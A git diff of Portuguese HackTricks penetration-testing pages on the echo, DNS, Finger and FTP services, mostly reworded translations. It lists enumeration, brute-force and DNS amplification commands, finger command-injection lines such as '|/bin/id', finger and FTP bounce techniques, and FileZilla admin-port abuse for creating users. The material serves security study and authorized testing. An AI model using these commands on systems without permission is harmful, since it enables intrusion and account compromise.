|
|||
|
||||
* `port:7 echo`
|
||||
|
||||
# Referências
|
||||
## Referências
|
||||
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO_protocol)
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
|
||||
[CA-1996-01 Ataque de Negação de Serviço em Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
[CA-1996-01 Ataque de Negação de Serviço de Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -22,8 +22,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
## **Informações Básicas**
|
||||
|
||||
O Sistema de Nomes de Domínio (DNS) é a lista telefônica da Internet. Os humanos acessam informações online por meio de nomes de domínio, como nytimes.com ou espn.com. Os navegadores da web interagem por meio de endereços de Protocolo de Internet (IP). O DNS traduz nomes de domínio em [endereços IP](https://www.cloudflare.com/learning/dns/glossary/what-is-my-ip-address/) para que os navegadores possam carregar recursos da Internet.\
|
||||
De [aqui](https://www.cloudflare.com/learning/dns/what-is-dns/).
|
||||
O **Sistema de Nomes de Domínio (DNS)** atua como o diretório da internet, permitindo que os usuários acessem sites por meio de **nomes de domínio fáceis de lembrar** como google.com ou facebook.com, em vez dos endereços numéricos de Protocolo de Internet (IP). Ao traduzir nomes de domínio em endereços IP, o DNS garante que os navegadores da web possam carregar rapidamente recursos da internet, simplificando como navegamos no mundo online.
|
||||
|
||||
**Porta padrão:** 53
|
||||
```
|
||||
|
@ -34,37 +33,31 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
### Diferentes Servidores DNS
|
||||
|
||||
- **Servidor Raiz DNS**
|
||||
- A responsabilidade pelos domínios de nível superior (TLDs) é mantida pelos servidores raiz DNS. Esses servidores são consultados apenas se o servidor de nomes não responder, atuando como uma interface central entre os usuários e o conteúdo da Internet, vinculando domínios e endereços IP. A Corporação da Internet para Atribuição de Nomes e Números (ICANN) coordena a operação desses servidores, dos quais existem 13 globalmente.
|
||||
- **Servidores Raiz DNS**: Estes estão no topo da hierarquia do DNS, gerenciando os domínios de nível superior e entrando em ação apenas se os servidores de nível inferior não responderem. A Corporação da Internet para Atribuição de Nomes e Números (**ICANN**) supervisiona sua operação, com um total global de 13 servidores.
|
||||
|
||||
- **Servidor de Nomes Autoritativo**
|
||||
- A autoridade sobre uma zona específica é mantida pelos servidores de nomes autoritativos, que fornecem respostas vinculativas a consultas dentro de sua área de responsabilidade. Caso esses servidores não consigam responder a uma consulta, o servidor de nomes raiz assume então a responsabilidade.
|
||||
- **Servidores Autoritativos**: Estes servidores têm a palavra final para consultas em suas zonas designadas, oferecendo respostas definitivas. Se não puderem fornecer uma resposta, a consulta é escalonada para os servidores raiz.
|
||||
|
||||
- **Servidor de Nomes Não Autoritativo**
|
||||
- Os servidores de nomes não autoritativos não possuem responsabilidade por uma zona DNS específica. Em vez disso, eles adquirem informações sobre zonas DNS por meio de consultas recursivas ou iterativas.
|
||||
- **Servidores Não Autoritativos**: Sem propriedade sobre zonas DNS, esses servidores coletam informações de domínio por meio de consultas a outros servidores.
|
||||
|
||||
- **Servidor DNS de Cache**
|
||||
- As informações de outros servidores de nomes são armazenadas em cache por um período predeterminado pelos servidores DNS de cache, sendo a duração desse armazenamento definida pelo servidor de nomes autoritativo.
|
||||
- **Servidor DNS de Cache**: Este tipo de servidor memoriza respostas de consultas anteriores por um tempo determinado para acelerar os tempos de resposta para futuras solicitações, com a duração do cache ditada pelo servidor autoritativo.
|
||||
|
||||
- **Servidor de Encaminhamento**
|
||||
- Os servidores de encaminhamento desempenham uma função singular: o encaminhamento de consultas DNS para outro servidor.
|
||||
- **Servidor de Encaminhamento**: Desempenhando um papel direto, os servidores de encaminhamento simplesmente repassam consultas para outro servidor.
|
||||
|
||||
- **Resolvedor**
|
||||
- Realizando a resolução de nomes localmente no computador ou roteador, os resolvedores não são considerados servidores DNS autoritativos.
|
||||
- **Resolvedor**: Integrados em computadores ou roteadores, os resolvedores executam a resolução de nomes localmente e não são considerados autoritativos.
|
||||
|
||||
|
||||
## Enumeração
|
||||
|
||||
### **Obtenção de Banner**
|
||||
|
||||
O DNS não possui um "banner" para obter. O equivalente mais próximo é uma consulta mágica para `version.bind. CHAOS TXT`, que funcionará na maioria dos servidores de nomes BIND.\
|
||||
Você pode realizar essa consulta usando `dig`:
|
||||
Não existem banners no DNS, mas você pode obter a consulta mágica para `version.bind. CHAOS TXT`, que funcionará na maioria dos servidores BIND.\
|
||||
Você pode realizar esta consulta usando `dig`:
|
||||
```bash
|
||||
dig version.bind CHAOS TXT @DNS
|
||||
```
|
||||
Se isso não funcionar, você pode usar técnicas de fingerprinting para determinar a versão do servidor remoto -- a ferramenta [`fpdns`](https://github.com/kirei/fpdns) é uma opção para isso, mas existem outras.
|
||||
Além disso, a ferramenta [`fpdns`](https://github.com/kirei/fpdns) também pode identificar a impressão digital do servidor.
|
||||
|
||||
Você também pode obter o banner com um script do **nmap**:
|
||||
Também é possível obter o banner com um script do **nmap**:
|
||||
```
|
||||
--script dns-nsid
|
||||
```
|
||||
|
@ -117,8 +110,6 @@ auxiliary/gather/enum_dns #Perform enumeration actions
|
|||
#Perform enumeration actions
|
||||
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
|
||||
```
|
||||
### DNS - Reverse BF
|
||||
|
||||
### DNS - Força Bruta Reversa
|
||||
```bash
|
||||
dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
|
@ -132,7 +123,7 @@ Se conseguir encontrar subdomínios que resolvem para endereços IP internos, de
|
|||
|
||||
Outra ferramenta para fazer isso: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
||||
Pode consultar faixas de IP reversas em [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (esta ferramenta também é útil com BGP).
|
||||
Você pode consultar faixas de IP reversas em [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (esta ferramenta também é útil com BGP).
|
||||
|
||||
### DNS - Subdomínios BF
|
||||
```bash
|
||||
|
@ -220,7 +211,7 @@ filter.example.com with ESMTP id xVNPkwaqGgdyH5Ag for user@example.com; Mon,
|
|||
X-Envelope-From: sender@anotherdomain.org
|
||||
X-Apparent-Source-IP: 198.51.100.37
|
||||
```
|
||||
## Arquivos de configuração
|
||||
## Arquivos de Configuração
|
||||
```
|
||||
host.conf
|
||||
/etc/resolv.conf
|
||||
|
@ -232,12 +223,12 @@ host.conf
|
|||
```
|
||||
Configurações perigosas ao configurar um servidor Bind:
|
||||
|
||||
| **Opção** | **Descrição** |
|
||||
| ----------------- | ------------------------------------------------------------------------------ |
|
||||
| `allow-query` | Define quais hosts têm permissão para enviar solicitações ao servidor DNS. |
|
||||
| **Opção** | **Descrição** |
|
||||
| ----------------- | ----------------------------------------------------------------------------- |
|
||||
| `allow-query` | Define quais hosts têm permissão para enviar solicitações ao servidor DNS. |
|
||||
| `allow-recursion` | Define quais hosts têm permissão para enviar solicitações recursivas ao servidor DNS. |
|
||||
| `allow-transfer` | Define quais hosts têm permissão para receber transferências de zona do servidor DNS. |
|
||||
| `zone-statistics` | Coleta dados estatísticos das zonas. |
|
||||
| `zone-statistics` | Coleta dados estatísticos das zonas. |
|
||||
|
||||
## Referências
|
||||
* [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
|
||||
|
@ -306,10 +297,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## **Informações Básicas**
|
||||
|
||||
**Finger** é um programa que você pode usar para encontrar informações sobre usuários de computadores. Geralmente lista o nome de login, o nome completo e, possivelmente, outros detalhes sobre o usuário que você está investigando. Esses detalhes podem incluir o local do escritório e número de telefone (se conhecidos), horário de login, tempo ocioso, última vez que o e-mail foi lido e os arquivos de plano e projeto do usuário.
|
||||
O programa/serviço **Finger** é utilizado para obter detalhes sobre usuários de computador. Tipicamente, as informações fornecidas incluem o **nome de login do usuário, nome completo** e, em alguns casos, detalhes adicionais. Esses detalhes extras podem incluir a localização do escritório e número de telefone (se disponível), o horário em que o usuário fez login, o período de inatividade (tempo ocioso), a última vez que o usuário leu o e-mail, e o conteúdo dos arquivos de plano e projeto do usuário.
|
||||
|
||||
**Porta padrão:** 79
|
||||
```
|
||||
|
@ -25,26 +25,26 @@ PORT STATE SERVICE
|
|||
```
|
||||
## **Enumeração**
|
||||
|
||||
### **Captura de Banner/Conexão Básica**
|
||||
### **Obtenção de Banner/Conexão Básica**
|
||||
```bash
|
||||
nc -vn <IP> 79
|
||||
echo "root" | nc -vn <IP> 79
|
||||
```
|
||||
### **Enumeração de usuários**
|
||||
### **Enumeração de Usuários**
|
||||
```bash
|
||||
finger @<Victim> #List users
|
||||
finger admin@<Victim> #Get info of user
|
||||
finger user@<Victim> #Get info of user
|
||||
```
|
||||
Alternativamente, você pode usar o **finger-user-enum** do [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), alguns exemplos:
|
||||
Alternativamente, você pode usar **finger-user-enum** do [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), alguns exemplos:
|
||||
```bash
|
||||
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
||||
finger-user-enum.pl -u root -t 10.0.0.1
|
||||
finger-user-enum.pl -U users.txt -T ips.txt
|
||||
```
|
||||
#### **Nmap executa um script usando scripts padrão**
|
||||
#### **Nmap executa um script para usar scripts padrão**
|
||||
|
||||
### Metasploit usa mais truques do que Nmap
|
||||
### Metasploit usa mais truques do que o Nmap
|
||||
```
|
||||
use auxiliary/scanner/finger/finger_users
|
||||
```
|
||||
|
@ -52,28 +52,28 @@ use auxiliary/scanner/finger/finger_users
|
|||
|
||||
* `port:79 USER`
|
||||
|
||||
## Execução de comando
|
||||
## Execução de Comando
|
||||
```bash
|
||||
finger "|/bin/id@example.com"
|
||||
finger "|/bin/ls -a /@example.com"
|
||||
```
|
||||
## Finger Bounce
|
||||
|
||||
[Use um sistema como um relay de finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
[Use um sistema como um relé de finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
```
|
||||
finger user@host@victim
|
||||
finger @internal@external
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
|
|||
|
||||
## Informações Básicas
|
||||
|
||||
O **Protocolo de Transferência de Arquivos (FTP)** é um protocolo de rede padrão usado para a transferência de arquivos de computador entre um cliente e um servidor em uma rede de computadores.\
|
||||
O **Protocolo de Transferência de Arquivos (FTP)** serve como um protocolo padrão para transferência de arquivos em uma rede de computadores entre um servidor e um cliente.\
|
||||
É um protocolo de **texto simples** que usa como **caractere de nova linha `0x0d 0x0a`** então às vezes você precisa **conectar usando `telnet`** ou **`nc -C`**.
|
||||
|
||||
**Porta Padrão:** 21
|
||||
|
@ -34,7 +34,7 @@ PORT STATE SERVICE
|
|||
|
||||
No **FTP Ativo**, o **cliente FTP** primeiro **inicia** a **conexão de controle** de sua porta N para a porta de comando do Servidor FTP - porta 21. O **cliente** então **escuta** a porta **N+1** e envia a porta N+1 para o Servidor FTP. O Servidor FTP então **inicia** a **conexão de dados**, de **sua porta M para a porta N+1** do Cliente FTP.
|
||||
|
||||
No entanto, se o Cliente FTP tiver um firewall configurado que controle as conexões de dados de entrada de fora, então o FTP ativo pode ser um problema. E, uma solução viável para isso é o FTP Passivo.
|
||||
No entanto, se o Cliente FTP tiver um firewall configurado que controle as conexões de dados de entrada de fora, o FTP ativo pode ser um problema. E, uma solução viável para isso é o FTP Passivo.
|
||||
|
||||
No **FTP Passivo**, o cliente inicia a conexão de controle de sua porta N para a porta 21 do Servidor FTP. Após isso, o cliente emite um **comando passv**. O servidor então envia ao cliente um de seus números de porta M. E o **cliente** **inicia** a **conexão de dados** de **sua porta P para a porta M** do Servidor FTP.
|
||||
|
||||
|
@ -119,11 +119,11 @@ ftp <IP>
|
|||
```
|
||||
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||
|
||||
Aqui você pode encontrar uma lista com credenciais FTP padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
Aqui você pode encontrar uma lista com credenciais ftp padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
|
||||
### Automatizado
|
||||
|
||||
Os checks de login anônimo e bounce FTP são realizados por padrão pelo nmap com a opção **-sC** ou:
|
||||
Os testes de login anônimo e bounce FTP são realizados por padrão pelo nmap com a opção **-sC** ou:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
|
@ -170,15 +170,15 @@ Alguns servidores FTP permitem o comando PORT. Este comando pode ser usado para
|
|||
|
||||
[**Aprenda aqui como abusar de um servidor FTP para escanear portas.**](ftp-bounce-attack.md)
|
||||
|
||||
Você também poderia abusar desse comportamento para fazer um servidor FTP interagir com outros protocolos. Você poderia **fazer upload de um arquivo contendo uma solicitação HTTP** e fazer com que o servidor FTP vulnerável **envie para um servidor HTTP arbitrário** (_talvez para adicionar um novo usuário administrador?_) ou até mesmo fazer upload de uma solicitação FTP e fazer com que o servidor FTP vulnerável baixe um arquivo de um servidor FTP diferente.\
|
||||
Você também pode abusar desse comportamento para fazer um servidor FTP interagir com outros protocolos. Você poderia **fazer upload de um arquivo contendo uma solicitação HTTP** e fazer o servidor FTP vulnerável **enviá-lo para um servidor HTTP arbitrário** (_talvez para adicionar um novo usuário administrador?_) ou até mesmo fazer upload de uma solicitação FTP e fazer o servidor FTP vulnerável baixar um arquivo de um servidor FTP diferente.\
|
||||
A teoria é simples:
|
||||
|
||||
1. **Faça upload da solicitação (dentro de um arquivo de texto) para o servidor vulnerável.** Lembre-se de que se deseja falar com outro servidor HTTP ou FTP, é necessário alterar as linhas com `0x0d 0x0a`
|
||||
2. **Use `REST X` para evitar enviar os caracteres que não deseja enviar** (talvez para fazer upload da solicitação dentro do arquivo, você precise colocar algum cabeçalho de imagem no início)
|
||||
1. **Faça upload da solicitação (dentro de um arquivo de texto) para o servidor vulnerável.** Lembre-se de que se você deseja falar com outro servidor HTTP ou FTP, precisa alterar as linhas com `0x0d 0x0a`
|
||||
2. **Use `REST X` para evitar enviar os caracteres que você não deseja enviar** (talvez para fazer upload da solicitação dentro do arquivo, você precise colocar algum cabeçalho de imagem no início)
|
||||
3. **Use `PORT` para se conectar ao servidor e serviço arbitrários**
|
||||
4. **Use `RETR` para enviar a solicitação salva para o servidor.**
|
||||
|
||||
É altamente provável que isso **resulte em um erro como** _**Socket não gravável**_ **porque a conexão não dura o suficiente para enviar os dados com `RETR`**. Sugestões para tentar evitar isso são:
|
||||
É altamente provável que isso **gere um erro como** _**Socket not writable**_ **porque a conexão não dura o suficiente para enviar os dados com `RETR`**. Sugestões para tentar evitar isso são:
|
||||
|
||||
* Se estiver enviando uma solicitação HTTP, **coloque a mesma solicitação uma após a outra** até **\~0.5MB** pelo menos. Assim:
|
||||
|
||||
|
@ -186,14 +186,14 @@ A teoria é simples:
|
|||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
* Tente **preencher a solicitação com dados "lixo" relativos ao protocolo** (falando com FTP talvez apenas comandos de lixo ou repetindo a instrução `RETR` para obter o arquivo)
|
||||
* Tente **preencher a solicitação com dados "lixo" relativos ao protocolo** (conversando com FTP talvez apenas comandos de lixo ou repetindo a instrução `RETR` para obter o arquivo)
|
||||
* Apenas **preencha a solicitação com muitos caracteres nulos ou outros** (divididos em linhas ou não)
|
||||
|
||||
De qualquer forma, aqui está um [exemplo antigo de como abusar disso para fazer um servidor FTP baixar um arquivo de um servidor FTP diferente.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Vulnerabilidade do Servidor Filezilla
|
||||
|
||||
O **FileZilla** geralmente **vincula** a um **serviço administrativo local** para o **FileZilla-Server** (porta 14147). Se você puder criar um **túnel** da **sua máquina** para acessar esta porta, você pode **conectar-se** a **ele** usando uma **senha em branco** e **criar** um **novo usuário** para o serviço FTP.
|
||||
O **FileZilla** geralmente **se vincula** a um **serviço administrativo local** para o **FileZilla-Server** (porta 14147). Se você puder criar um **túnel** da **sua máquina** para acessar esta porta, você pode **conectar-se** a **ela** usando uma **senha em branco** e **criar** um **novo usuário** para o serviço FTP.
|
||||
|
||||
## Arquivos de configuração
|
||||
```
|
||||
|
@ -210,7 +210,7 @@ A configuração padrão do vsFTPd pode ser encontrada em `/etc/vsftpd.conf`. Aq
|
|||
- `anon_upload_enable=YES`
|
||||
- `anon_mkdir_write_enable=YES`
|
||||
- `anon_root=/home/username/ftp` - Diretório para anônimos.
|
||||
- `chown_uploads=YES` - Alterar a propriedade de arquivos enviados anonimamente
|
||||
- `chown_uploads=YES` - Alterar a propriedade dos arquivos enviados anonimamente
|
||||
- `chown_username=username` - Usuário que recebe a propriedade dos arquivos enviados anonimamente
|
||||
- `local_enable=YES` - Permitir que usuários locais façam login
|
||||
- `no_anon_password=YES` - Não solicitar senha para anônimos
|
||||
|
@ -223,7 +223,7 @@ A configuração padrão do vsFTPd pode ser encontrada em `/etc/vsftpd.conf`. Aq
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
